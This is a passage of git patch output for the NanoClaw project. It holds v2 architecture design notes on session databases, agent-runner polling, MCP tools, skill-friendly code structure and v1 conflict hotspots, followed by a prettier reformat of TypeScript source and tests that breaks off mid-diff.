NULL, -- platform-specific ID (JID, channel ID, etc.) + name TEXT, + is_group INTEGER DEFAULT 0, + admin_user_id TEXT, -- platform user ID of the group admin (default: whoever set it up) + created_at TEXT NOT NULL, + UNIQUE(channel_type, platform_id) +); + +-- Which agent groups handle which messaging groups, with what rules +CREATE TABLE messaging_group_agents ( + id TEXT PRIMARY KEY, + messaging_group_id TEXT NOT NULL REFERENCES messaging_groups(id), + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + trigger_rules TEXT, -- JSON: { pattern, mentionOnly, excludeSenders, includeSenders } + response_scope TEXT DEFAULT 'all', -- 'all' | 'triggered' | 'allowlisted' + session_mode TEXT DEFAULT 'shared', -- 'shared' | 'per-thread' + priority INTEGER DEFAULT 0, -- higher = checked first when multiple agents match + created_at TEXT NOT NULL, + UNIQUE(messaging_group_id, agent_group_id) +); + +-- Sessions: one folder = one session = one container when running +-- Folder path is derived: sessions/{agent_group_id}/{session_id}/ +CREATE TABLE sessions ( + id TEXT PRIMARY KEY, + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + messaging_group_id TEXT REFERENCES messaging_groups(id), -- null for internal/spawned sessions + thread_id TEXT, -- platform thread ID (null for shared session mode) + agent_provider TEXT, -- override per session (null = inherit from agent_group) + status TEXT DEFAULT 'active', -- 'active' | 'closed' + container_status TEXT DEFAULT 'stopped', -- 'running' | 'idle' | 'stopped' + last_active TEXT, -- last message activity timestamp + created_at TEXT NOT NULL +); +CREATE INDEX idx_sessions_agent_group ON sessions(agent_group_id); +CREATE INDEX idx_sessions_lookup ON sessions(messaging_group_id, thread_id); + +-- Pending interactive questions (cards waiting for user response) +-- Host writes when delivering a question card, deletes when response received +CREATE TABLE pending_questions ( + question_id TEXT PRIMARY KEY, + session_id TEXT NOT NULL REFERENCES sessions(id), + message_out_id TEXT NOT NULL, -- the messages_out row that sent the card + platform_id TEXT, -- where the card was delivered + channel_type TEXT, + thread_id TEXT, + created_at TEXT NOT NULL +); +``` + +### Pending Question Flow + +When the host delivers a messages_out row with `operation: 'ask_question'`: +1. Host delivers the card via the channel adapter +2. Host writes a `pending_questions` row mapping `question_id` → `session_id` + +When a Chat SDK `ActionEvent` (button click) arrives: +1. Bridge extracts `actionId` from the event +2. Host looks up `pending_questions` by `question_id` (derived from actionId — the bridge maintains the mapping) +3. Host finds the target session, writes a messages_in row with `questionId` + `selectedOption` +4. Host deletes the `pending_questions` row +5. Agent-runner picks up the messages_in row, matches to the pending tool call, returns the selection + +This avoids scanning session DBs. The central DB is the routing lookup — same pattern as message routing. + +Also used for host-generated approval cards: when the host sends an approval request to the admin's DM, it writes a `pending_questions` row. The admin's response is routed back to the originating session. + +### Container lifecycle states + +``` +stopped → running → idle → stopped + ↗ + idle → running (new message while warm) +``` + +- **stopped**: No container. Swept at 60s for due scheduled messages. +- **running**: Actively processing. Polled at 1s for messages_out. +- **idle**: Done processing, container still warm (up to 30 min timeout). Polled at 1s so new messages are picked up quickly. +- After idle timeout → host kills container → stopped. + +### Migration from v1 + +| v1 table | v2 | +|----------|-----| +| `registered_groups` | Split into `agent_groups` + `messaging_groups` + `messaging_group_agents` | +| `chats` | Absorbed into `messaging_groups` | +| `messages` | Content moves to per-session DBs (messages_in) | +| `sessions` (folder → sdk_session_id) | New `sessions` table (folder derived from ID) | +| `scheduled_tasks` | Moved to per-session DBs (messages_in with recurrence) | +| `task_run_logs` | Dropped — results are in session DB messages_out | +| `router_state` | Dropped — replaced by message status in session DBs | + +## Agent-Runner Architecture + +The agent-runner is the process inside the container. It mediates between the session DB and the Claude SDK — polling for work, formatting messages for the agent, translating tool calls into DB rows, and managing the agent lifecycle. + +### IO Model + +All IO goes through the session DB. No stdin, no stdout markers, no IPC files. + +| v1 | v2 | +|----|----| +| Initial input from stdin (JSON envelope) | Poll `messages_in` | +| Follow-up messages from IPC files | Same poll — new rows appear | +| Output via stdout markers | Write `messages_out` rows | +| MCP tools write IPC files | MCP tools write DB rows | +| `_close` sentinel signals shutdown | Host kills container (idle timeout) or agent-runner exits when no pending work | + +### Poll Loop + +1. Query `messages_in WHERE status = 'pending' AND (process_after IS NULL OR process_after <= now())` +2. If rows found: set `status = 'processing'`, `status_changed = now()` on each +3. Batch messages into a single prompt (strip routing fields, format by kind) +4. Push into Claude SDK's MessageStream +5. Process agent output → write `messages_out` rows +6. Set processed messages to `status = 'completed'` +7. Back to step 1. If no messages found, sleep briefly and re-poll (container stays warm for idle timeout) + +### Message Formatting by Kind + +Agent-runner strips routing fields (`platform_id`, `channel_type`, `thread_id`) before formatting. The agent never sees routing info — it only sees content. + +- **`chat`** — format into `` XML block (same as v1) +- **`chat-sdk`** — extract text, author, attachments from serialized message; format into `` XML +- **`task`** — format as `[SCHEDULED TASK]` prefix + prompt. Run pre-script if present (same as v1). +- **`webhook`** — format as `[WEBHOOK: source/event]` + JSON payload +- **`system`** — host action results (e.g., "register_group succeeded"). Format as system context, not chat. + +Mixed batches (e.g., a chat message + a system result both pending) are combined into one prompt with clear delimiters. + +### MCP Tools + +All v1 IPC-file-based tools are replaced with direct DB writes. + +**Carried over (new implementation):** + +| Tool | What it does | +|------|-------------| +| `send_message` | Write `messages_out` row, `kind: 'chat'` | +| `send_file` | Move file to `outbox/{msg_id}/`, write `messages_out` with filenames | +| `schedule_task` | Write `messages_in` row (to self) with `process_after` + `recurrence`. Or `messages_out` with `deliver_after` for outbound reminders. | +| `list_tasks` | Query `messages_in WHERE recurrence IS NOT NULL` | +| `pause_task` / `resume_task` / `cancel_task` | Modify `messages_in` rows (update status, clear/set recurrence) | +| `register_agent_group` | Write `messages_out`, `kind: 'system'`, `action: 'register_agent_group'` | + +**New tools:** + +| Tool | What it does | +|------|-------------| +| `ask_user_question` | Write `messages_out` with question card. Hold tool call open, poll `messages_in` for response matching `questionId`. Return selection as tool result. | +| `edit_message` | Write `messages_out` with `operation: 'edit'` | +| `add_reaction` | Write `messages_out` with `operation: 'reaction'` | +| `send_to_agent` | Write `messages_out` with `channel_type: 'agent'`, `platform_id: '{target}'` | +| `send_card` | Write `messages_out` with card structure | + +See [v2-agent-runner-details.md](v2-agent-runner-details.md) for full MCP tool parameter definitions. + +### Cards + +**Agent-initiated (outbound):** Tool-based. Agent calls `ask_user_question` (interactive card with options) or `send_card` (structured card). Agent-runner writes the card structure to messages_out. Host/adapter handles platform-specific rendering (Slack Block Kit, Discord embeds, Telegram inline keyboard, text fallback). + +**Host-initiated (approval cards):** When an action requires approval, the host generates a standardized approval card and sends it to the admin's DM. These are not agent-initiated — the agent doesn't know about the approval step. The card format is fixed (action description + approve/deny buttons). + +**Inbound (card responses):** Not a card — it's a messages_in row with `questionId` + `selectedOption` in the content. Agent-runner matches to the pending `ask_user_question` tool call and returns the selection as the tool result. + +### Commands + +Messages starting with `/` are checked against three lists: + +**Whitelisted commands (pass-through to agent):** +- Standard slash commands that the agent provider handles natively (e.g., Claude's built-in commands) +- Passed raw, no `` XML wrapping + +**Admin-only commands (require admin sender):** +- `/remote-control` — remote control session +- `/clear` — clear session context +- `/compact` — force context compaction +- If sent by a non-admin user, the command is rejected with an error message. Not forwarded to the agent. + +**Filtered commands (dropped entirely):** +- Commands that don't make sense in the NanoClaw context or could cause issues +- Silently dropped — no error, no forwarding + +The command lists are hardcoded in the agent-runner. Admin verification: the agent-runner checks the `senderId` in the message content against the messaging group's `admin_user_id` (passed to the container as config). + +### Recurring Tasks + +The agent-runner processes recurring task messages like any other messages_in row. After the agent-runner marks a recurring message as `completed`, the **host** handles inserting the next occurrence (new messages_in row with `process_after` advanced to next cron time). The agent-runner doesn't manage recurrence — it just processes what it finds. + +Pre-scripts work the same as v1: if a task message has a `script` field, run it first. If `wakeAgent = false`, mark completed without invoking Claude. + +### Agent-to-Agent Messaging + +**Outbound:** Agent calls `send_to_agent` tool → agent-runner writes messages_out with `channel_type: 'agent'`, `platform_id` = target agent group ID. Host validates permissions and writes to target session's messages_in. + +**Inbound:** Messages from other agents arrive as normal `chat` messages_in rows. The content includes `sender` and `senderId` (e.g., `"senderId": "agent:pr-admin"`). No special formatting — the agent sees it as a chat message. + +### What Stays From v1 + +- AgentProvider interface wraps SDK-specific query logic (Claude, Codex, OpenCode) +- Session resume via provider-specific mechanisms +- System prompt loading from CLAUDE.md files +- PreCompact hook for transcript archiving (Claude provider) +- Script execution for task-kind messages + +## Open Questions + +- **Approval routing** — how does the host find the admin's DM conversation? What if no DM channel exists? Is the approval list configurable per agent group or global? +- **MCP server lifecycle** — does the MCP server process persist across multiple queries in the same container, or restart each time? +- **Container startup config** — what config (if any) is passed to the container at launch beyond env vars? The session DB is at a fixed mount path. System prompt comes from CLAUDE.md. Provider name comes from env. What else? +- **Idle detection with pending questions** — when `ask_user_question` is waiting for a response, the container should not be considered idle. Also need to detect when the agent is still working (active tool calls, subagents) and avoid killing the container even if no messages_out have been written recently. + +## Related Documents + +- **[v2-api-details.md](v2-api-details.md)** — Channel adapter interface (NanoClaw + Chat SDK bridge), message content examples, host delivery logic +- **[v2-agent-runner-details.md](v2-agent-runner-details.md)** — AgentProvider interface, MCP tools, message formatting, media handling, provider implementations (Claude, Codex, OpenCode) From 1b652e1dc05d85c6e73590669c38397a76de0c05 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:10:15 +0300 Subject: [PATCH 060/485] docs: add code structure principles for skill customization Channels, MCP tools, and providers use registration patterns so skill branches can add capabilities without conflicting. Index stays thin. File map updated with channels/ and mcp-tools/ directories. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-architecture-draft.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md index 18053c7..0be4149 100644 --- a/docs/v2-architecture-draft.md +++ b/docs/v2-architecture-draft.md @@ -506,6 +506,25 @@ Two tiers: The architecture is **flexible for code changes, not configurable for everything**. Advanced setups (like the PR Factory below) use custom routing logic and host-side hooks — not database config columns. +### Code Structure for Skill Customization + +NanoClaw is customized via skills — branches that get merged into the user's installation. Different skills add different capabilities (channels, integrations, behaviors). The code must be structured so that: + +1. **Different customizations don't conflict.** Adding Slack and adding Telegram should not produce merge conflicts. Adding a new MCP tool should not conflict with adding a channel. Each type of customization should touch its own file(s). + +2. **Core blocks of functionality are in separate files.** Channel registration, message formatting, MCP tools, routing logic, container management — each in its own file. A skill that changes how messages are formatted doesn't touch the file that handles container spawning. + +3. **The index file is thin.** It wires things together (init DB, start adapters, start poll loops) but contains no business logic. All logic lives in purpose-specific modules that skills can modify independently. + +4. **Don't over-split.** A simple change (e.g., adding a new message kind) shouldn't require edits across 5 files. Group related logic together. The goal is that each skill touches 1-2 files for its core change. + +5. **Registration patterns over switch statements.** Channels, MCP tools, and providers should use registration/plugin patterns. A skill adds a channel by adding a file and a registration call — not by editing a central switch statement alongside every other channel. + +**Practical example:** Adding a new channel via skill should require: +- One new file (the channel adapter or Chat SDK config) +- One line in index or a self-registering import +- Zero changes to routing, formatting, delivery, or container code + ### What the base architecture must support primitively These are the building blocks. None require special abstractions — they fall out of per-session DBs, host-managed routing, and messages_out with `kind: 'system'`: From 820c5067b7a67b569e03226326e5a268a3376249 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:16:17 +0300 Subject: [PATCH 061/485] docs: add DB file structure and migration strategy Split DB by entity (agent-groups.ts, messaging-groups.ts, sessions.ts) instead of one monolith. Numbered migration files replace inline ALTER TABLE blocks. Channels use barrel pattern for self-registration. Session DB split into messages-in.ts and messages-out.ts. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-architecture-draft.md | 37 ++++++++++++++++++++++++++++++++++- 1 file changed, 36 insertions(+), 1 deletion(-) diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md index 0be4149..e68d002 100644 --- a/docs/v2-architecture-draft.md +++ b/docs/v2-architecture-draft.md @@ -522,9 +522,44 @@ NanoClaw is customized via skills — branches that get merged into the user's i **Practical example:** Adding a new channel via skill should require: - One new file (the channel adapter or Chat SDK config) -- One line in index or a self-registering import +- One line in the barrel file (`channels/index.ts`) to import the self-registering module - Zero changes to routing, formatting, delivery, or container code +### DB File Structure + +v1's DB is one 750-line file with all tables, all CRUD functions, and all migrations inline. v2 splits by entity: + +``` +src/db/ + connection.ts ← singleton, init, WAL mode + schema.ts ← CREATE TABLE statements (current state, for reference) + migrations/ + index.ts ← runner: checks version, applies pending + 001-initial.ts ← v2 initial schema + 002-pending-questions.ts ← example: adds pending_questions table + ... ← skills append new numbered files + agent-groups.ts ← CRUD for agent_groups + messaging-groups.ts ← CRUD for messaging_groups + messaging_group_agents + sessions.ts ← CRUD for sessions + pending_questions + index.ts ← barrel: re-exports everything +``` + +**Principles:** +- **Split by entity, not by layer.** Each entity file has its own CRUD functions (~50-100 lines). A skill that adds a column to messaging_groups edits `messaging-groups.ts` — doesn't touch sessions or agent groups. +- **Schema as current state + migrations as history.** `schema.ts` documents what the DB looks like now (read this to understand the schema). Migrations are append-only numbered files that describe how we got here. +- **No inline ALTER TABLE.** v1 accumulates `try { ALTER TABLE } catch { /* exists */ }` blocks forever. v2 uses a migration runner with a `schema_version` table. On startup, it checks the current version and applies pending migrations in order. Each migration is a function: `(db: Database) => void`. +- **Skills add migrations.** A skill that needs a new column adds a new numbered migration file. No conflicts with other skills' migrations as long as numbers don't collide (use timestamps or high-enough numbers for skill branches). + +**Agent-runner session DB** uses the same pattern but lighter — no migrations needed since session DBs are created fresh by the host: + +``` +container/agent-runner/src/db/ + connection.ts ← open session.db at fixed path, WAL mode + messages-in.ts ← read pending, update status + messages-out.ts ← write results, outbox queries + index.ts ← barrel +``` + ### What the base architecture must support primitively These are the building blocks. None require special abstractions — they fall out of per-session DBs, host-managed routing, and messages_out with `kind: 'system'`: From a03f832dbb2e6b16159b0612992effd3c4f8bf50 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:19:35 +0300 Subject: [PATCH 062/485] docs: add v1 conflict hotspot analysis and isolation strategies Based on analysis of 33 skill branches. Maps each conflict hotspot (index.ts, config.ts, container-runner.ts, db.ts) to its v2 solution. Adds mount registration pattern so channel skills don't edit container-runner. Config stays in the module that uses it. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-architecture-draft.md | 42 +++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md index e68d002..88385c9 100644 --- a/docs/v2-architecture-draft.md +++ b/docs/v2-architecture-draft.md @@ -525,6 +525,48 @@ NanoClaw is customized via skills — branches that get merged into the user's i - One line in the barrel file (`channels/index.ts`) to import the self-registering module - Zero changes to routing, formatting, delivery, or container code +### v1 Conflict Hotspots and v2 Solutions + +Analysis of 33 skill branches shows these files cause the most merge conflicts: + +| v1 hotspot | Why it conflicts | v2 solution | +|-----------|-----------------|-------------| +| `src/index.ts` (2000 LOC) | Every skill patches the main loop, imports, init logic | Thin index that wires modules. Logic lives in purpose-specific files (router, delivery, session-manager, host-sweep). | +| `src/config.ts` | Every skill adds env vars to a central file | Config declared where it's used. Each module reads its own env vars. No central config registry that every skill edits. | +| `src/container-runner.ts` | Channel skills add mounts, env vars, credential setup | Declarative mount registration. Channels declare their mounts in their own file. Container runner reads from a registry, not a hardcoded list. | +| `src/db.ts` (750 LOC) | Schema, migrations, and all CRUD in one file | Split by entity. Numbered migrations. Skills add a migration file + edit one entity file. | +| `container/agent-runner/src/index.ts` | Agent protocol, IPC handling, formatting all in one file | Split into poll-loop, formatter, providers/, mcp-tools/. Session DB replaces IPC. | +| `src/ipc.ts` | Every MCP tool addition patches one file | `mcp-tools/` directory with barrel. Skills add a tool file + barrel line. | +| `src/channels/index.ts` | Every channel adds an import line at the same location | Barrel file with comment slots per channel (current pattern works, keep it). | + +**Mount registration pattern:** Instead of every channel skill editing `buildVolumeMounts()`, channels declare mounts that the container runner collects: + +```typescript +// channels/gmail.ts +registerChannel('gmail', { + factory: createGmailAdapter, + mounts: [ + { hostPath: '~/.gmail-mcp', containerPath: '/home/node/.gmail-mcp', readonly: false } + ], + env: ['GMAIL_OAUTH_TOKEN'], +}); +``` + +The container runner reads registered mounts from the channel registry — no need to edit `container-runner.ts`. + +**Config pattern:** Instead of a central `config.ts` that every skill edits: + +```typescript +// Each module reads its own config +// channels/discord.ts +const DISCORD_TOKEN = process.env.DISCORD_BOT_TOKEN; + +// channels/gmail.ts +const GMAIL_CREDS = process.env.GMAIL_CREDENTIALS_PATH; +``` + +Shared config (DATA_DIR, TIMEZONE, MAX_CONCURRENT_CONTAINERS) stays in `config.ts`. Channel/skill-specific config stays in the module that uses it. + ### DB File Structure v1's DB is one 750-line file with all tables, all CRUD functions, and all migrations inline. v2 splits by entity: From e540df46e6243966ea1715a8743e5b3ce7df08ee Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:24:09 +0300 Subject: [PATCH 063/485] docs: add code style (120 char lines, concise logging) and config pattern Skills document env vars in SKILL.md instead of patching config.ts. Prettier printWidth 120 to keep log calls and signatures on one line. Thin logging wrapper for one-line structured log calls. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-architecture-draft.md | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/docs/v2-architecture-draft.md b/docs/v2-architecture-draft.md index 88385c9..b3a9db9 100644 --- a/docs/v2-architecture-draft.md +++ b/docs/v2-architecture-draft.md @@ -554,10 +554,9 @@ registerChannel('gmail', { The container runner reads registered mounts from the channel registry — no need to edit `container-runner.ts`. -**Config pattern:** Instead of a central `config.ts` that every skill edits: +**Config pattern:** Skills don't patch `config.ts` or `.env.example`. Skill-specific env vars are documented in the skill's SKILL.md — the setup process reads those instructions. Each module reads its own env vars directly: ```typescript -// Each module reads its own config // channels/discord.ts const DISCORD_TOKEN = process.env.DISCORD_BOT_TOKEN; @@ -567,6 +566,18 @@ const GMAIL_CREDS = process.env.GMAIL_CREDENTIALS_PATH; Shared config (DATA_DIR, TIMEZONE, MAX_CONCURRENT_CONTAINERS) stays in `config.ts`. Channel/skill-specific config stays in the module that uses it. +### Code Style + +**Line width: 120 characters.** v1 uses the prettier default of 80, which breaks simple log calls and function signatures across 3-4 lines. v2 uses 120 — most statements fit on one line without sacrificing readability. + +**Concise logging.** v1 has 138 log calls, many spanning 3-4 lines due to pino's structured API + 80-char wrapping. v2 uses a thin wrapper so every log call is one line: + +```typescript +log.info('IPC message sent', { chatJid, sourceGroup }); +log.warn('Unauthorized IPC attempt', { chatJid }); +log.error('Error processing', { file, err }); +``` + ### DB File Structure v1's DB is one 750-line file with all tables, all CRUD functions, and all migrations inline. v2 splits by entity: From 90acff28ad94c1e21133d1bdaf5f91998ed14951 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:34:03 +0300 Subject: [PATCH 064/485] chore: set printWidth to 120 and reformat Co-Authored-By: Claude Opus 4.6 (1M context) --- .prettierrc | 3 +- src/channels/registry.test.ts | 6 +- src/channels/registry.ts | 7 +- src/config.ts | 56 ++------- src/container-runner.test.ts | 47 ++------ src/container-runner.ts | 128 ++++----------------- src/container-runtime.test.ts | 43 +++---- src/container-runtime.ts | 50 +++----- src/db-migration.test.ts | 15 +-- src/db.test.ts | 91 +++------------ src/db.ts | 188 ++++++++---------------------- src/env.ts | 3 +- src/formatting.test.ts | 60 +++------- src/group-folder.test.ts | 14 +-- src/group-queue.test.ts | 39 +------ src/group-queue.ts | 68 +++-------- src/index.ts | 207 +++++++--------------------------- src/ipc-auth.test.ts | 102 +++-------------- src/ipc.ts | 188 +++++++----------------------- src/logger.ts | 32 ++---- src/mount-security.ts | 24 +--- src/remote-control.test.ts | 48 +++----- src/remote-control.ts | 10 +- src/router.ts | 26 +---- src/routing.test.ts | 94 ++------------- src/sender-allowlist.ts | 54 ++------- src/task-scheduler.test.ts | 17 +-- src/task-scheduler.ts | 72 +++--------- src/timezone.test.ts | 15 +-- 29 files changed, 361 insertions(+), 1346 deletions(-) diff --git a/.prettierrc b/.prettierrc index 544138b..0981b7c 100644 --- a/.prettierrc +++ b/.prettierrc @@ -1,3 +1,4 @@ { - "singleQuote": true + "singleQuote": true, + "printWidth": 120 } diff --git a/src/channels/registry.test.ts b/src/channels/registry.test.ts index e89f62b..501ae5c 100644 --- a/src/channels/registry.test.ts +++ b/src/channels/registry.test.ts @@ -1,10 +1,6 @@ import { describe, it, expect } from 'vitest'; -import { - registerChannel, - getChannelFactory, - getRegisteredChannelNames, -} from './registry.js'; +import { registerChannel, getChannelFactory, getRegisteredChannelNames } from './registry.js'; // The registry is module-level state, so we need a fresh module per test. // We use dynamic import with cache-busting to isolate tests. diff --git a/src/channels/registry.ts b/src/channels/registry.ts index ab871c3..e70f85d 100644 --- a/src/channels/registry.ts +++ b/src/channels/registry.ts @@ -1,9 +1,4 @@ -import { - Channel, - OnInboundMessage, - OnChatMetadata, - RegisteredGroup, -} from '../types.js'; +import { Channel, OnInboundMessage, OnChatMetadata, RegisteredGroup } from '../types.js'; export interface ChannelOpts { onMessage: OnInboundMessage; diff --git a/src/config.ts b/src/config.ts index 1d15b8d..ef1ba9e 100644 --- a/src/config.ts +++ b/src/config.ts @@ -5,18 +5,11 @@ import { readEnvFile } from './env.js'; import { isValidTimezone } from './timezone.js'; // Read config values from .env (falls back to process.env). -const envConfig = readEnvFile([ - 'ASSISTANT_NAME', - 'ASSISTANT_HAS_OWN_NUMBER', - 'ONECLI_URL', - 'TZ', -]); +const envConfig = readEnvFile(['ASSISTANT_NAME', 'ASSISTANT_HAS_OWN_NUMBER', 'ONECLI_URL', 'TZ']); -export const ASSISTANT_NAME = - process.env.ASSISTANT_NAME || envConfig.ASSISTANT_NAME || 'Andy'; +export const ASSISTANT_NAME = process.env.ASSISTANT_NAME || envConfig.ASSISTANT_NAME || 'Andy'; export const ASSISTANT_HAS_OWN_NUMBER = - (process.env.ASSISTANT_HAS_OWN_NUMBER || - envConfig.ASSISTANT_HAS_OWN_NUMBER) === 'true'; + (process.env.ASSISTANT_HAS_OWN_NUMBER || envConfig.ASSISTANT_HAS_OWN_NUMBER) === 'true'; export const POLL_INTERVAL = 2000; export const SCHEDULER_POLL_INTERVAL = 60000; @@ -25,43 +18,20 @@ const PROJECT_ROOT = process.cwd(); const HOME_DIR = process.env.HOME || os.homedir(); // Mount security: allowlist stored OUTSIDE project root, never mounted into containers -export const MOUNT_ALLOWLIST_PATH = path.join( - HOME_DIR, - '.config', - 'nanoclaw', - 'mount-allowlist.json', -); -export const SENDER_ALLOWLIST_PATH = path.join( - HOME_DIR, - '.config', - 'nanoclaw', - 'sender-allowlist.json', -); +export const MOUNT_ALLOWLIST_PATH = path.join(HOME_DIR, '.config', 'nanoclaw', 'mount-allowlist.json'); +export const SENDER_ALLOWLIST_PATH = path.join(HOME_DIR, '.config', 'nanoclaw', 'sender-allowlist.json'); export const STORE_DIR = path.resolve(PROJECT_ROOT, 'store'); export const GROUPS_DIR = path.resolve(PROJECT_ROOT, 'groups'); export const DATA_DIR = path.resolve(PROJECT_ROOT, 'data'); -export const CONTAINER_IMAGE = - process.env.CONTAINER_IMAGE || 'nanoclaw-agent:latest'; -export const CONTAINER_TIMEOUT = parseInt( - process.env.CONTAINER_TIMEOUT || '1800000', - 10, -); -export const CONTAINER_MAX_OUTPUT_SIZE = parseInt( - process.env.CONTAINER_MAX_OUTPUT_SIZE || '10485760', - 10, -); // 10MB default +export const CONTAINER_IMAGE = process.env.CONTAINER_IMAGE || 'nanoclaw-agent:latest'; +export const CONTAINER_TIMEOUT = parseInt(process.env.CONTAINER_TIMEOUT || '1800000', 10); +export const CONTAINER_MAX_OUTPUT_SIZE = parseInt(process.env.CONTAINER_MAX_OUTPUT_SIZE || '10485760', 10); // 10MB default export const ONECLI_URL = process.env.ONECLI_URL || envConfig.ONECLI_URL; -export const MAX_MESSAGES_PER_PROMPT = Math.max( - 1, - parseInt(process.env.MAX_MESSAGES_PER_PROMPT || '10', 10) || 10, -); +export const MAX_MESSAGES_PER_PROMPT = Math.max(1, parseInt(process.env.MAX_MESSAGES_PER_PROMPT || '10', 10) || 10); export const IPC_POLL_INTERVAL = 1000; export const IDLE_TIMEOUT = parseInt(process.env.IDLE_TIMEOUT || '1800000', 10); // 30min default — how long to keep container alive after last result -export const MAX_CONCURRENT_CONTAINERS = Math.max( - 1, - parseInt(process.env.MAX_CONCURRENT_CONTAINERS || '5', 10) || 5, -); +export const MAX_CONCURRENT_CONTAINERS = Math.max(1, parseInt(process.env.MAX_CONCURRENT_CONTAINERS || '5', 10) || 5); function escapeRegex(str: string): string { return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); @@ -83,11 +53,7 @@ export const TRIGGER_PATTERN = buildTriggerPattern(DEFAULT_TRIGGER); // Timezone for scheduled tasks, message formatting, etc. // Validates each candidate is a real IANA identifier before accepting. function resolveConfigTimezone(): string { - const candidates = [ - process.env.TZ, - envConfig.TZ, - Intl.DateTimeFormat().resolvedOptions().timeZone, - ]; + const candidates = [process.env.TZ, envConfig.TZ, Intl.DateTimeFormat().resolvedOptions().timeZone]; for (const tz of candidates) { if (tz && isValidTimezone(tz)) return tz; } diff --git a/src/container-runner.test.ts b/src/container-runner.test.ts index 36fca0a..292deb2 100644 --- a/src/container-runner.test.ts +++ b/src/container-runner.test.ts @@ -64,9 +64,7 @@ vi.mock('@onecli-sh/sdk', () => ({ OneCLI: class { applyContainerConfig = vi.fn().mockResolvedValue(true); createAgent = vi.fn().mockResolvedValue({ id: 'test' }); - ensureAgent = vi - .fn() - .mockResolvedValue({ name: 'test', identifier: 'test', created: true }); + ensureAgent = vi.fn().mockResolvedValue({ name: 'test', identifier: 'test', created: true }); }, })); @@ -91,17 +89,14 @@ let fakeProc: ReturnType; // Mock child_process.spawn vi.mock('child_process', async () => { - const actual = - await vi.importActual('child_process'); + const actual = await vi.importActual('child_process'); return { ...actual, spawn: vi.fn(() => fakeProc), - exec: vi.fn( - (_cmd: string, _opts: unknown, cb?: (err: Error | null) => void) => { - if (cb) cb(null); - return new EventEmitter(); - }, - ), + exec: vi.fn((_cmd: string, _opts: unknown, cb?: (err: Error | null) => void) => { + if (cb) cb(null); + return new EventEmitter(); + }), }; }); @@ -122,10 +117,7 @@ const testInput = { isMain: false, }; -function emitOutputMarker( - proc: ReturnType, - output: ContainerOutput, -) { +function emitOutputMarker(proc: ReturnType, output: ContainerOutput) { const json = JSON.stringify(output); proc.stdout.push(`${OUTPUT_START_MARKER}\n${json}\n${OUTPUT_END_MARKER}\n`); } @@ -142,12 +134,7 @@ describe('container-runner timeout behavior', () => { it('timeout after output resolves as success', async () => { const onOutput = vi.fn(async () => {}); - const resultPromise = runContainerAgent( - testGroup, - testInput, - () => {}, - onOutput, - ); + const resultPromise = runContainerAgent(testGroup, testInput, () => {}, onOutput); // Emit output with a result emitOutputMarker(fakeProc, { @@ -171,19 +158,12 @@ describe('container-runner timeout behavior', () => { const result = await resultPromise; expect(result.status).toBe('success'); expect(result.newSessionId).toBe('session-123'); - expect(onOutput).toHaveBeenCalledWith( - expect.objectContaining({ result: 'Here is my response' }), - ); + expect(onOutput).toHaveBeenCalledWith(expect.objectContaining({ result: 'Here is my response' })); }); it('timeout with no output resolves as error', async () => { const onOutput = vi.fn(async () => {}); - const resultPromise = runContainerAgent( - testGroup, - testInput, - () => {}, - onOutput, - ); + const resultPromise = runContainerAgent(testGroup, testInput, () => {}, onOutput); // No output emitted — fire the hard timeout await vi.advanceTimersByTimeAsync(1830000); @@ -201,12 +181,7 @@ describe('container-runner timeout behavior', () => { it('normal exit after output resolves as success', async () => { const onOutput = vi.fn(async () => {}); - const resultPromise = runContainerAgent( - testGroup, - testInput, - () => {}, - onOutput, - ); + const resultPromise = runContainerAgent(testGroup, testInput, () => {}, onOutput); // Emit output emitOutputMarker(fakeProc, { diff --git a/src/container-runner.ts b/src/container-runner.ts index dafa143..b04cc28 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -18,12 +18,7 @@ import { } from './config.js'; import { resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; import { logger } from './logger.js'; -import { - CONTAINER_RUNTIME_BIN, - hostGatewayArgs, - readonlyMountArgs, - stopContainer, -} from './container-runtime.js'; +import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; import { OneCLI } from '@onecli-sh/sdk'; import { validateAdditionalMounts } from './mount-security.js'; import { RegisteredGroup } from './types.js'; @@ -58,10 +53,7 @@ interface VolumeMount { readonly: boolean; } -function buildVolumeMounts( - group: RegisteredGroup, - isMain: boolean, -): VolumeMount[] { +function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount[] { const mounts: VolumeMount[] = []; const projectRoot = process.cwd(); const groupDir = resolveGroupFolderPath(group.folder); @@ -136,12 +128,7 @@ function buildVolumeMounts( // Per-group Claude sessions directory (isolated from other groups) // Each group gets their own .claude/ to prevent cross-group session access - const groupSessionsDir = path.join( - DATA_DIR, - 'sessions', - group.folder, - '.claude', - ); + const groupSessionsDir = path.join(DATA_DIR, 'sessions', group.folder, '.claude'); fs.mkdirSync(groupSessionsDir, { recursive: true }); const settingsFile = path.join(groupSessionsDir, 'settings.json'); if (!fs.existsSync(settingsFile)) { @@ -199,26 +186,15 @@ function buildVolumeMounts( // Copy agent-runner source into a per-group writable location so agents // can customize it (add tools, change behavior) without affecting other // groups. Recompiled on container startup via entrypoint.sh. - const agentRunnerSrc = path.join( - projectRoot, - 'container', - 'agent-runner', - 'src', - ); - const groupAgentRunnerDir = path.join( - DATA_DIR, - 